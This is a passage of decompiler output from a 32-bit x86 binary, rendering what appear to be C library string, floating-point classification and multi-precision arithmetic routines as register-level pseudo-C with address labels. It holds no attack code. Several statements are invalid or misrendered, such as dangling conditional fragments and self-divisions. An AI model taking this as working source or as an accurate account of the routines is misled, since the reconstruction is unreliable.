*(edx + ecx + 3) = ah; } } } } } } } return(A8); } /* Procedure: 0x0805796E - 0x0805796F * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0805796E() { } /* Procedure: 0x08057970 - 0x08057ADB * Argument size: 4 * Local size: 4 * Save regs size: 4 */ L08057970(A8, Ac) /* unknown */ void A8; /* unknown */ void Ac; { /* unknown */ void edi; eax = A8; edx = Ac; dh = dl; ecx = edx; edx = edx << 16; dx = cx; if(!(al & 3)) { cl = *eax; if(dl == cl) { goto L08057ad5; } if(cl == 0) { goto L08057aaa; } eax = eax + 1; if(!(al & 3)) { cl = *eax; if(dl == cl) { goto L08057ad5; } if(cl == 0) { goto L08057aaa; } if(!(eax + 1 & 3)) { cl = *eax; if(dl == cl) { goto L08057ad5; } if(cl == 0) { goto L08057aaa; } eax = eax + 1; } } } while(1) { ecx = *eax ^ edx; if((edi = -16843009 + ecx) || (edi = (edi ^ ecx | -16843009) + 1)) { goto L08057ab7; } ecx = ecx ^ edx; if((edi = -16843009 + ecx) || (edi = (edi ^ ecx | -16843009) + 1)) { break; } ecx = *(eax + 4) ^ edx; if((edi = -16843009 + ecx) || (edi = (edi ^ ecx | -16843009) + 1)) { goto L08057ab4; } ecx = ecx ^ edx; if((edi = -16843009 + ecx) || (edi = (edi ^ ecx | -16843009) + 1)) { break; } ecx = *(eax + 8) ^ edx; if((edi = -16843009 + ecx) || (edi = (edi ^ ecx | -16843009) + 1)) { goto L08057ab1; } ecx = ecx ^ edx; if((edi = -16843009 + ecx) || (edi = (edi ^ ecx | -16843009) + 1)) { break; } ecx = *(eax + 12) ^ edx; if((edi = -16843009 + ecx) || (edi = (edi ^ ecx | -16843009) + 1)) { goto L08057aae; } ecx = ecx ^ edx; if((edi = -16843009 + ecx) || !(edi = (edi ^ ecx | -16843009) + 1)) { break; } eax = eax + 16; } L08057aaa: eax = 0; goto L08057ad5; L08057aae: eax = eax + 4; L08057ab1: eax = eax + 4; L08057ab4: eax = eax + 4; L08057ab7: if(cl != 0) { if(cl == dl) { goto L08057aaa; } if(ch != 0) { if(ch == dl) { goto L08057aaa; } ecx = ecx >> 16; if(cl != 0) { if(cl == dl) { goto L08057aaa; } eax = eax + 1; } eax = eax + 1; } eax = eax + 1; } L08057ad5: } /* Procedure: 0x08057ADC - 0x08057B00 * Argument size: 8 * Local size: 0 * Save regs size: 8 */ L08057ADC(A8, Ac) /* unknown */ void A8; /* unknown */ void Ac; { /* unknown */ void esi; esi = A8; asm("cld"); do { al = *esi; asm("scasb"); if(esi = esi + 1) { goto L08057af4; } } while(al != 0); eax = 0; goto L08057af8; L08057af4: asm("sbb eax,eax"); al = al | 1; L08057af8: } /* Procedure: 0x08057B01 - 0x08057B03 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08057B01() { } /* Procedure: 0x08057B04 - 0x08057B2F * Argument size: 12 * Local size: 0 * Save regs size: 8 */ L08057B04(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { /* unknown */ void esi; esi = A8; ecx = A10; asm("cld"); ecx = ecx + 1; do { if(ecx = ecx - 1) { break; } al = *esi; asm("scasb"); if(esi = esi + 1) { goto L08057b23; } } while(al != 0); eax = 0; goto L08057b27; L08057b23: asm("sbb eax,eax"); al = al | 1; L08057b27: } /* Procedure: 0x08057B30 - 0x08057BE4 * Argument size: 8 * Local size: 0 * Save regs size: 0 */ L08057B30(A8, Ac) /* unknown */ void A8; /* unknown */ void Ac; { eax = A8; edx = Ac; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; do { cl = *edx; *(esp + ecx) = cl; if(*(esp + ecx) == 0) { goto L08057bb3; } cl = *(edx + 1); *(esp + ecx) = cl; if(*(esp + ecx) & 255) { goto L08057bb3; } cl = *(edx + 2); *(esp + ecx) = cl; if(*(esp + ecx) & 255) { goto L08057bb3; } cl = *(edx + 3); edx = edx + 4; *(esp + ecx) = cl; } while(cl & 255); eax = eax - 4; L08057bb0: eax = eax + 4; L08057bb3: cl = *eax; if(*(esp + ecx) != cl) { cl = *(eax + 1); if(*(esp + ecx) != cl) { cl = *(eax + 2); if(*(esp + ecx) != cl) { cl = *(eax + 3); if(*(esp + ecx) != cl) { goto L08057bb0; } eax = eax + 1; } eax = eax + 1; } eax = eax + 1; } esp = esp + 256; if(cl == 0) { eax = 0; } } /* Procedure: 0x08057BE5 - 0x08057BE7 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08057BE5() { } /* Procedure: 0x08057BE8 - 0x08057DA6 * Argument size: 8 * Local size: 0 * Save regs size: 8 */ L08057BE8(A8, Ac) /* unknown */ void A8; /* unknown */ void Ac; { /* unknown */ void esi; /* unknown */ void edi; eax = 0; esi = A8; ecx = Ac; ch = cl; edx = ecx; ecx = ecx << 16; cx = dx; if(!(esi & 3)) { dl = *esi; if(dl == cl) { eax = esi; } if(dl == 0) { goto L08057d9e; } esi = esi + 1; if(!(esi & 3)) { dl = *esi; if(dl == cl) { eax = esi; } if(dl == 0) { goto L08057d9e; } esi = esi + 1; if(!(esi & 3)) { dl = *esi; if(dl == cl) { eax = esi; } if(dl == 0) { goto L08057d9e; } esi = esi + 1; } } } while(1) { edx = *esi; if((edi = -16843009 + edx) || (edi = (edi ^ edx | -16843009) + 1)) { goto L08057d74; } edx = edx ^ ecx; if(edi = -16843009 + edx) { esi = esi - 4; } else { if(edi = (edi ^ edx | -16843009) + 1) { esi = esi - 4; goto L08057c69; } edx = *(esi + 4); if((edi = -16843009 + edx) || (edi = (edi ^ edx | -16843009) + 1)) { goto L08057d71; } edx = edx ^ ecx; if(!(edi = -16843009 + edx)) { goto L08057cf5; } } esi = esi - 4; goto L08057c56; L08057cf5: if(edi = (edi ^ edx | -16843009) + 1) { L08057c69: esi = esi - 4; } else { edx = *(esi + 8); if((edi = -16843009 + edx) || (edi = (edi ^ edx | -16843009) + 1)) { goto L08057d6e; } edx = edx ^ ecx; if(edi = -16843009 + edx) { L08057c56: esi = esi - 4; goto L08057c59; } if(!(edi = (edi ^ edx | -16843009) + 1)) { goto L08057d31; } } esi = esi - 4; goto L08057c6f; L08057d31: edx = *(esi + 12); if((edi = -16843009 + edx) || (edi = (edi ^ edx | -16843009) + 1)) { break; } edx = edx ^ ecx; if(edi = -16843009 + edx) { L08057c59: if(edx & -16777216) { goto L08057c6f; } eax = esi + 15; } else { if(!(edi = (edi ^ edx | -16843009) + 1)) { L08057c6f: eax = edx & 16711680 ? dh != 0 ? esi + 12 : esi + 13 : esi + 14; } } esi = esi + 16; } esi = esi + 4; L08057d6e: esi = esi + 4; L08057d71: esi = esi + 4; L08057d74: if(dl == cl) { eax = esi; } if(dl != 0) { if(dh == cl) { eax = esi + 1; } if(dh != 0) { edx = edx >> 16; if(dl == cl) { eax = esi + 2; } if(dl != 0 && dh == cl) { eax = esi + 3; } } } L08057d9e: } /* Procedure: 0x08057DA7 - 0x08057DAF * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08057DA7() { } /* Procedure: 0x08057DB0 - 0x08057E62 * Argument size: 8 * Local size: 0 * Save regs size: 0 */ L08057DB0(A8, Ac) /* unknown */ void A8; /* unknown */ void Ac; { eax = Ac; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; (save)0; do { cl = *eax; *(esp + ecx) = cl; if(*(esp + ecx) == 0) { break; } cl = *(eax + 1); *(esp + ecx) = cl; if(*(esp + ecx) == 0) { break; } cl = *(eax + 2); *(esp + ecx) = cl; if(*(esp + ecx) == 0) { break; } cl = *(eax + 3); eax = eax + 4; *(esp + ecx) = cl; } while(cl & 255); eax = -4; do { eax = eax + 4; if(*(esp + ecx) & *(A8 + eax)) { goto L08057e59; } if(*(esp + ecx) & *(A8 + eax + 1)) { goto L08057e58; } if(*(esp + ecx) & *(A8 + eax + 2)) { goto L08057e57; } } while(*(esp + ecx) & *(A8 + eax + 3)); eax = eax + 1; L08057e57: eax = eax + 1; L08057e58: eax = eax + 1; L08057e59: esp = esp + 256; } /* Procedure: 0x08057E63 - 0x08057E63 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08057E63() { } /* Procedure: 0x08057E64 - 0x08057E95 * Argument size: 11 * Local size: 0 * Save regs size: 0 */ L08057E64(A8, Ac, Af) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void Af; { if((Ac & 2147483647) == 2146435072 && A8 == 0) { eax = 1; if(Af < 0) { eax = -1; } return; } esp = ebp; return(0); } /* Procedure: 0x08057E96 - 0x08057E97 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08057E96() { } /* Procedure: 0x08057E98 - 0x08057ED5 * Argument size: 13 * Local size: 0 * Save regs size: 0 */ L08057E98(A8, Ac, A10, A11) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A11; { if((A10 & 32767) == 32767 && Ac == -2147483648 && A8 == 0) { eax = 1; if(A11 < 0) { eax = -1; } return; } esp = ebp; return(0); } /* Procedure: 0x08057ED6 - 0x08057ED7 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08057ED6() { } /* Procedure: 0x08057ED8 - 0x08057F0A * Argument size: 10 * Local size: 0 * Save regs size: 0 */ L08057ED8(A8, Ac, Ae) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void Ae; { edx = 0; if((Ae >> 4 & 2047) == 2047) { if(Ac & 1048575) { goto L08057f00; } if(A8 != 0) { L08057f00: edx = 1; } } return(edx); } /* Procedure: 0x08057F0B - 0x08057F0B * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08057F0B() { } /* Procedure: 0x08057F0C - 0x08057F46 * Argument size: 12 * Local size: 0 * Save regs size: 0 */ L08057F0C(A8, Ac, Af, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void Af; /* unknown */ void A10; { edx = 0; if((A10 & 32767) == 32767 && Af < 0) { if(Ac & 1073741823 || A8 != 0) { goto L08057f3c; } if(!(Af & 64)) { L08057f3c: edx = 1; } } return(edx); } /* Procedure: 0x08057F47 - 0x08057F47 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08057F47() { } /* Procedure: 0x08057F48 - 0x08057F86 * Argument size: 12 * Local size: 0 * Save regs size: 8 */ L08057F48(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { if(!(eax = A10 - 1)) { do { ecx = *(A8 + eax * 4); edx = *(Ac + eax * 4); if(ecx != edx) { goto L08057f70; } } while(eax = eax - 1); } eax = 0; goto L08057f7e; L08057f70: eax = -1; if(ecx > edx) { eax = 1; } L08057f7e: } /* Procedure: 0x08057F87 - 0x08057F87 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08057F87() { } /* Procedure: 0x08057F88 - 0x08058091 * Argument size: 24 * Local size: 12 * Save regs size: 12 */ L08057F88(A8, A10, A14, A18, A1c) /* unknown */ void A8; /* unknown */ void A10; /* unknown */ void A14; /* unknown */ void A18; /* unknown */ void A1c; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void Vfffffff4; /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; Vfffffff8 = A18; Vfffffffc = A1c; *A14 = Vfffffffc >> 31; *A10 = (Vfffffffc >> 20 & 2047) + -1023; *A8 = Vfffffff8; esi = Vfffffffc & 1048575; *(A8 + 4) = esi; if(!(Vfffffffc >> 16 & 32752)) { if(*A8 == 0) { if(esi != 0) { goto L08057ffe; } *A10 = 0; } else { if(*(A8 + 4) != 0) { L08057ffe: asm("bsr edx,[eax+0x4]"); esi = (edx ^ 31) + -11; ebx = *(A8 + 4); ecx = esi; Vfffffff4 = ebx << cl; edx = 32 - esi; ebx = *A8; ecx = edx; *(A8 + 4) = ebx >> cl | Vfffffff4; *A8 = *A8 << esi; ebx = -1022; } else { asm("bsr edx,[eax]"); esi = edx ^ 31; if(esi > 10) { edx = esi - 11; ebx = *A8; *(A8 + 4) = ebx << edx; *A8 = 0; } else { edx = 11 - esi; ebx = *A8; ecx = edx; *(A8 + 4) = ebx >> cl; *A8 = *A8 << esi + 21; } ebx = -1043; } *A10 = ebx - esi; } } else { *(A8 + 4) = *(A8 + 4) | 1048576; } esp = ebp - 24; return(2); } /* Procedure: 0x08058092 - 0x08058093 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08058092() { } /* Procedure: 0x08058094 - 0x08058630 * Argument size: 20 * Local size: 84 * Save regs size: 12 */ L08058094(A8, Ac, A10, A14, A18) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A14; /* unknown */ void A18; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vffffffac; /* unknown */ void Vffffffb0; /* unknown */ void Vffffffb4; /* unknown */ void Vffffffb8; /* unknown */ void Vffffffbc; /* unknown */ void Vffffffc0; /* unknown */ void Vffffffc4; /* unknown */ void Vffffffc8; /* unknown */ void Vffffffcc; /* unknown */ void Vffffffd0; /* unknown */ void Vffffffd4; /* unknown */ void Vffffffd8; /* unknown */ void Vffffffdc; /* unknown */ void Vffffffe0; /* unknown */ void Vffffffe4; /* unknown */ void Vffffffe8; /* unknown */ void Vffffffec; /* unknown */ void Vfffffff0; /* unknown */ void Vfffffff4; /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; Vfffffffc = 0; if(A18 != 1) { > ? L080580b8 : ; if(A18 != 0) { goto L080584c4; if(A18 == 2) { goto L08058204; } goto L080584c4; } eax = 1; asm("cdq"); A18 = A18 / A18; edx = A18 % A18; } else { esi = *A14; ecx = *(Ac + A10 * 4 - 4); if(ecx >= esi) { Vfffffffc = 1; ecx = ecx - esi; } Vffffffac = edi; if(!(edi = A10 + -2)) { eax = !edi & 3; Vffffffd0 = eax; if(edi > -1) { if(eax == 0) { goto L08058180; } if(eax < 3) { if(eax < 2) { eax = *(Ac + edi * 4); Vffffffcc = eax; edx = ecx; esi = esi / esi; edx = esi % esi; ecx = edx; *(A8 + edi * 4) = Vffffffcc; Vffffffac = A10 + -3; } eax = *(Ac + Vffffffac * 4); Vffffffc8 = eax; edx = ecx; esi = esi / esi; edx = esi % esi; ebx = Vffffffac; ecx = edx; *(A8 + ebx * 4) = Vffffffc8; Vffffffac = ebx - 1; } } eax = *(Ac + Vffffffac * 4); Vffffffc4 = eax; edx = ecx; esi = esi / esi; edx = esi % esi; ecx = edx; *(A8 + Vffffffac * 4) = Vffffffc4; if(!(Vffffffac = Vffffffac - 1)) { L08058180: do { eax = *(Ac + Vffffffac * 4); Vffffffc0 = eax; edx = ecx; esi = esi / esi; edx = esi % esi; ebx = Vffffffac; edi = A8; ecx = edx; *(edi + ebx * 4) = Vffffffc0; ebx = ebx - 1; eax = *(Ac + ebx * 4); Vffffffbc = eax; esi = esi / esi; ecx = esi % esi; *(edi + ebx * 4) = Vffffffbc; edx = Vffffffac + -2; Vffffffd0 = edx; Vffffffb8 = *(Ac + Vffffffd0 * 4); edx = ecx; esi = esi / esi; edx = esi % esi; ecx = edx; *(A8 + Vffffffd0 * 4) = Vffffffb8; eax = Vffffffac + -3; Vffffffd0 = eax; Vffffffb4 = *(Ac + Vffffffd0 * 4); edx = ecx; esi = esi / esi; edx = esi % esi; ecx = edx; *(A8 + Vffffffd0 * 4) = Vffffffb4; } while(Vffffffac = Vffffffac + -4); } } *Ac = ecx; goto L08058624; L08058204: ebx = Ac + A10 * 4 - 8; Ac = ebx; edi = *(A14 + 4); Vfffffff4 = edi; esi = *A14; edx = *(ebx + 4); Vffffffd0 = edx; ecx = *ebx; if(Vffffffd0 >= Vfffffff4) { > ? L08058231 : ; if(ecx >= esi) { Vfffffffc = 1; ebx = Vffffffd0; ecx = ecx - esi; asm("sbb ebx,[ebp-0xc]"); Vffffffd0 = ebx; } } Vfffffff8 = A10 - A18; if(!(Vfffffff8 = Vfffffff8 - 1)) { Vffffffe0 = A8 + Vfffffff8 * 4; edx = !Vfffffff8 & 1; Vffffffac = edx; if(Vfffffff8 > -1 && edx == 0) { goto L08058336; } Ac = Ac + -4; if(Vffffffd0 == Vfffffff4) { Vffffffb0 = -1; ecx = ecx + Vffffffd0; Vffffffd4 = ecx; if(ecx < Vffffffd0) { eax = ecx - esi; Vffffffd4 = eax; ecx = *Ac + esi; asm("adc eax,+0x0"); Vffffffd0 = eax; *Vffffffe0 = -1; goto L08058329; } Vffffffd0 = esi; if(esi != 0) { Vffffffd0 = Vffffffd0 - 1; } ecx = ~esi; } else { eax = ecx; edx = Vffffffd0; Vfffffff4 = Vfffffff4 / Vfffffff4; edx = Vfffffff4 % Vfffffff4; Vffffffd4 = edx; Vffffffb0 = eax; asm("mul esi"); Vffffffd0 = edx; ecx = eax; } Vffffffac = *Ac; L080582e9: if(Vffffffd0 <= Vffffffd4) { != ? 0x8058311 : ; if(Vffffffac >= ecx) { goto L08058311; } } Vffffffb0 = Vffffffb0 - 1; eax = Vffffffd0; ecx = ecx - esi; asm("sbb eax,+0x0"); Vffffffd0 = eax; edx = Vfffffff4; Vffffffd4 = Vffffffd4 + edx; if(Vffffffd4 >= edx) { goto L080582e9; } L08058311: *Vffffffe0 = Vffffffb0; eax = Vffffffd4; edx = Vffffffac - ecx; asm("sbb eax,[ebp-0x30]"); ecx = edx; Vffffffd0 = eax; L08058329: Vffffffe0 = Vffffffe0 + -4; if(!(Vfffffff8 = Vfffffff8 - 1)) { L08058336: Vffffffdc = Vffffffe0; Vffffffd8 = Vffffffdc; L08058340: edi = Ac + -4; Vffffffac = edi; if(Vffffffd0 == Vfffffff4) { Vffffffb0 = -1; ecx = ecx + Vffffffd0; Vffffffd4 = ecx; if(ecx < Vffffffd0) { ebx = ecx - esi; Vffffffd4 = ebx; ecx = *edi + esi; asm("adc ebx,+0x0"); Vffffffd0 = ebx; *Vffffffd8 = -1; goto L080583f1; } Vffffffd0 = esi; if(esi != 0) { Vffffffd0 = Vffffffd0 - 1; } ecx = ~esi; } else { eax = ecx; edx = Vffffffd0; Vfffffff4 = Vfffffff4 / Vfffffff4; edx = Vfffffff4 % Vfffffff4; Vffffffd4 = edx; Vffffffb0 = eax; asm("mul esi"); Vffffffd0 = edx; ecx = eax; } Vffffffac = *Vffffffac; L080583b1: if(Vffffffd0 <= Vffffffd4) { != ? 0x80583d9 : ; if(Vffffffac >= ecx) { goto L080583d9; } } Vffffffb0 = Vffffffb0 - 1; eax = Vffffffd0; ecx = ecx - esi; asm("sbb eax,+0x0"); Vffffffd0 = eax; edx = Vfffffff4; Vffffffd4 = Vffffffd4 + edx; if(Vffffffd4 >= edx) { goto L080583b1; } L080583d9: *Vffffffdc = Vffffffb0; eax = Vffffffd4; edx = Vffffffac - ecx; asm("sbb eax,[ebp-0x30]"); ecx = edx; Vffffffd0 = eax; L080583f1: Ac = Ac + -8; if(Vffffffd0 == Vfffffff4) { Vffffffb0 = -1; ecx = ecx + Vffffffd0; Vffffffd4 = ecx; if(ecx < Vffffffd0) { eax = ecx - esi; Vffffffd4 = eax; ecx = *Ac + esi; asm("adc eax,+0x0"); Vffffffd0 = eax; *(Vffffffd8 - 4) = -1; goto L080584a2; } Vffffffd0 = esi; if(esi != 0) { Vffffffd0 = Vffffffd0 - 1; } ecx = ~esi; } else { eax = ecx; edx = Vffffffd0; Vfffffff4 = Vfffffff4 / Vfffffff4; edx = Vfffffff4 % Vfffffff4; Vffffffd4 = edx; Vffffffb0 = eax; asm("mul esi"); Vffffffd0 = edx; ecx = eax; } Vffffffac = *Ac; L08058461: if(Vffffffd0 <= Vffffffd4) { != ? 0x8058489 : ; if(Vffffffac >= ecx) { goto L08058489; } } Vffffffb0 = Vffffffb0 - 1; eax = Vffffffd0; ecx = ecx - esi; asm("sbb eax,+0x0"); Vffffffd0 = eax; edx = Vfffffff4; Vffffffd4 = Vffffffd4 + edx; if(Vffffffd4 >= edx) { goto L08058461; } L08058489: *(Vffffffdc - 4) = Vffffffb0; eax = Vffffffd4; edx = Vffffffac - ecx; asm("sbb eax,[ebp-0x30]"); ecx = edx; Vffffffd0 = eax; L080584a2: Vffffffdc = Vffffffdc + -8; Vffffffd8 = Vffffffd8 + -8; if(Vfffffff8 = Vfffffff8 + -2) { goto L08058340; } } } ebx = Ac; *(ebx + 4) = Vffffffd0; *ebx = ecx; goto L08058624; L080584c4: edx = Ac + A10 * 4; Ac = edx; ebx = A18; esi = ebx * 4; A14 = A14 + esi; edi = *(A14 - 4); Vffffffec = edi; Vffffffe8 = *(A14 - 8); ecx = *(Ac - 4); if(ecx >= Vffffffec) { > ? L08058514 : ; if(L08057F48(Ac - esi, A14 - esi, ebx - 1) >= 0) { edx = A18; ebx = edx * 4; eax = Ac - ebx; L0805A010(eax, eax, A14 - ebx, edx); Vfffffffc = 1; } ecx = *(Ac - 4); } Vfffffff0 = A10 - A18; if(!(Vfffffff0 = Vfffffff0 - 1)) { Vffffffe4 = Ac + -4; do { Vffffffe4 = Vffffffe4 + -4; Ac = Ac + -4; if(Vffffffec != ecx) { edx = ecx; Vffffffec = Vffffffec / Vffffffec; edx = Vffffffec % Vffffffec; Vffffffb0 = edx; esi = *Vffffffe4; eax = Vffffffe8; asm("mul esi"); Vffffffac = edx; ecx = eax; if(edx > Vffffffb0) { goto L0805859c; } != ? 0x80585bd : ; if(*(Vffffffe4 - 4) < ecx) { L0805859c: do { esi = esi - 1; eax = Vffffffec; Vffffffb0 = Vffffffb0 + eax; if(Vffffffb0 < eax) { goto L080585bd; } if(Vffffffe8 > ecx) { Vffffffac = Vffffffac - 1; } ecx = ecx - Vffffffe8; } while(Vffffffac > Vffffffb0); == ? L08058594 : ; } } else { esi = -1; } L080585bd: ebx = A18; edi = ebx * 4; eax = A14 - edi; Vffffffb0 = eax; edx = Ac - edi; Vffffffac = edx; ecx = L0805A0B0(Vffffffac, Vffffffb0, ebx, esi); if(*Ac != ecx) { edx = Vffffffac; if(L08066380(edx, edx, Vffffffb0, A18) == 0) { L08055ECC(); } esi = esi - 1; } *(A8 + Vfffffff0 * 4) = esi; ecx = *Vffffffe4; } while(Vfffffff0 = Vfffffff0 - 1); } L08058624: eax = Vfffffffc; } esp = ebp - 96; } /* Procedure: 0x08058631 - 0x08058633 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L08058631() { } /* Procedure: 0x08058634 - 0x0805870A * Argument size: 28 * Local size: 16 * Save regs size: 12 */ L08058634(A8, A10, A14, A18, A1c, A20) /* unknown */ void A8; /* unknown */ void A10; /* unknown */ void A14; /* unknown */ void A18; /* unknown */ void A1c; /* unknown */ void A20; { /* unknown */ void edi; /* unknown */ void Vfffffff0; /* unknown */ void Vfffffff4; /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; /* unknown */ void Vfffffffd; Vfffffff4 = A18; Vfffffff8 = A1c; eax = A20; Vfffffffc = eax; eax = Vfffffffd >> 7 & 255; *A14 = eax; *A10 = (Vfffffffc & 32767) + -16383; *A8 = Vfffffff4; eax = Vfffffff8; *(A8 + 4) = eax; if(!(Vfffffffc & 32767)) { if(*A8 == 0) { if(eax != 0) { goto L080586a2; } *A10 = 0; } else { if(*(A8 + 4) != 0) { L080586a2: asm("bsr eax,[ebx+0x4]"); al = al ^ 31; Vfffffff0 = eax; if(eax != 0) { edx = *(A8 + 4); ecx = eax; edx = edx << cl; eax = 32 - ecx; edi = *A8; ecx = eax; *(A8 + 4) = edx | edi >> cl; *A8 = *A8 << Vfffffff0; } edi = -16382 - Vfffffff0; } else { asm("bsr eax,[ebx]"); al = al ^ 31; Vfffffff0 = eax; edi = *A8; *(A8 + 4) = edi << Vfffffff0; *A8 = 0; edi = -16414 - Vfffffff0; } *A10 = edi; } } esp = ebp - 28; return(2); } /* Procedure: 0x0805870B - 0x0805870F * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0805870B() { } /* Procedure: 0x08058710 - 0x0805876A * Argument size: 16 * Local size: 0 * Save regs size: 12 */ L08058710(A8, Ac, A10, A14) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A14; { /* unknown */ void ebx; /* unknown */ void esi; edx = A10; esi = Ac - 4; ebx = *(esi + edx * 4); eax = 0; asm("shld eax,ebx,cl"); if(!(edx = edx - 1)) { (save)eax; if(!(dl & 1)) { eax = ebx; L08058740: ebx = *(esi + edx * 4); asm("shld eax,ebx,cl"); *(A8 + edx * 4) = eax; edx = edx - 1; } eax = *(esi + edx * 4); asm("shld ebx,eax,cl"); *(A8 + edx * 4) = ebx; if(edx = edx - 1) { goto L08058740; } *A8 = eax << cl; (restore)eax; } else { *A8 = ebx << cl; } } /* Procedure: 0x0805876B - 0x0805876B * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0805876B() { } /* Procedure: 0x0805876C - 0x08058DDA * Argument size: 20 * Local size: 20 * Save regs size: 12 */ L0805876C(A8, Ac, A10, A14, A18) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A14; /* unknown */ void A18; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vffffffec; /* unknown */ void Vfffffff0; /* unknown */ void Vfffffff4; /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; edi = A18; Vfffffffc = A8 + A10 * 4 + edi * 4 - 4; if(edi <= 31) { if(edi == 0) { eax = 0; goto L08058dd1; } eax = *A14; if(eax <= 1) { != ? 0x8058830 : ; ebx = 0; if(A10 > 0) { if(eax = A10 & 3) { goto L080587fc; } if(eax > 1) { if(eax > 2) { *A8 = *Ac; ebx = 1; } eax = *(Ac + ebx * 4); *(A8 + ebx * 4) = eax; ebx = ebx + 1; } eax = *(Ac + ebx * 4); *(A8 + ebx * 4) = eax; ebx = ebx + 1; if(A10 != ebx) { L080587fc: do { edi = Ac; eax = *(edi + ebx * 4); ecx = A8; *(ecx + ebx * 4) = eax; eax = ebx + 1; *(ecx + eax * 4) = *(edi + eax * 4); eax = ebx + 2; *(ecx + eax * 4) = *(edi + eax * 4); eax = ebx + 3; *(ecx + eax * 4) = *(edi + eax * 4); ebx = ebx + 4; } while(A10 != ebx); goto L0805889a; eax = 0; if(A10 > 0) { if(edx = A10 & 3) { goto L08058870; } if(edx > 1) { if(edx > 2) { *A8 = 0; eax = 1; } *(A8 + eax * 4) = 0; eax = eax + 1; } *(A8 + eax * 4) = 0; eax = eax + 1; if(A10 != eax) { L08058870: ecx = A8; *(ecx + eax * 4) = 0; *(ecx + eax * 4 + 4) = 0; *(ecx + eax * 4 + 8) = 0; *(ecx + eax * 4 + 12) = 0; eax = eax + 4; if(A10 != eax) { goto L08058870; } } } } } L0805889a: edx = 0; } else { edx = L08058DE0(A8, Ac, A10, eax); } edi = A8; *(edi + A10 * 4) = edx; A8 = edi + 4; esi = 1; if(A18 > 1) { if(!(A18 & 1)) { eax = *(A14 + 4); if(eax <= 1) { edx = 0; if(eax != 1) { goto L0805891b; } (save)A10; (save)Ac; ecx = A8; (save)ecx; (save)ecx; eax = L08066380(); } else { eax = L08066420(A8, Ac, A10, eax); } edx = eax; L0805891b: edi = A8; *(edi + A10 * 4) = edx; A8 = edi + 4; esi = esi + 1; if(A18 == esi) { goto L080589d2; } } do { eax = *(A14 + esi * 4); if(eax > 1) { eax = L08066420(A8, Ac, A10, eax); } else { edx = 0; if(eax != 1) { goto L08058973; } (save)A10; (save)Ac; edi = A8; (save)edi; (save)edi; eax = L08066380(); } edx = eax; L08058973: *(A8 + A10 * 4) = edx; ebx = A8 + 4; eax = *(A14 + esi * 4 + 4); if(eax > 1) { eax = L08066420(ebx, Ac, A10, eax); } else { edx = 0; if(eax != 1) { goto L080589bc; } (save)A10; (save)Ac; (save)ebx; (save)ebx; eax = L08066380(); } edx = eax; L080589bc: *(ebx + A10 * 4) = edx; A8 = A8 + 8; esi = esi + 2; } while(A18 != esi); } L080589d2: eax = edx; goto L08058dd1; L080589dc: L08058E20(A8, Ac, A14, A18); } else { edi = A18; esp = esp - edi * 8; Vfffffff8 = esp; if(edi <= 31) { goto L080589dc; } L08059048(A8, Ac, A14, edi, esp); } edi = A18; eax = edi * 4; A8 = A8 + eax; Ac = Ac + eax; A10 = A10 - edi; if(A10 >= edi) { esp = esp - edi * 8; Vfffffff4 = esp; do { if(A18 <= 31) { L08058E20(Vfffffff4, Ac, A14, A18); } else { L08059048(Vfffffff4, Ac, A14, A18, Vfffffff8); } edi = A8; Vffffffec = L08066380(edi, edi, Vfffffff4, A18); ecx = A18; eax = ecx * 4; esi = A8 + eax; ebx = Vfffffff4 + eax; Vfffffff0 = ecx; edx = *ebx; ebx = ebx + 4; eax = Vffffffec + edx; *esi = eax; esi = esi + 4; if(eax < 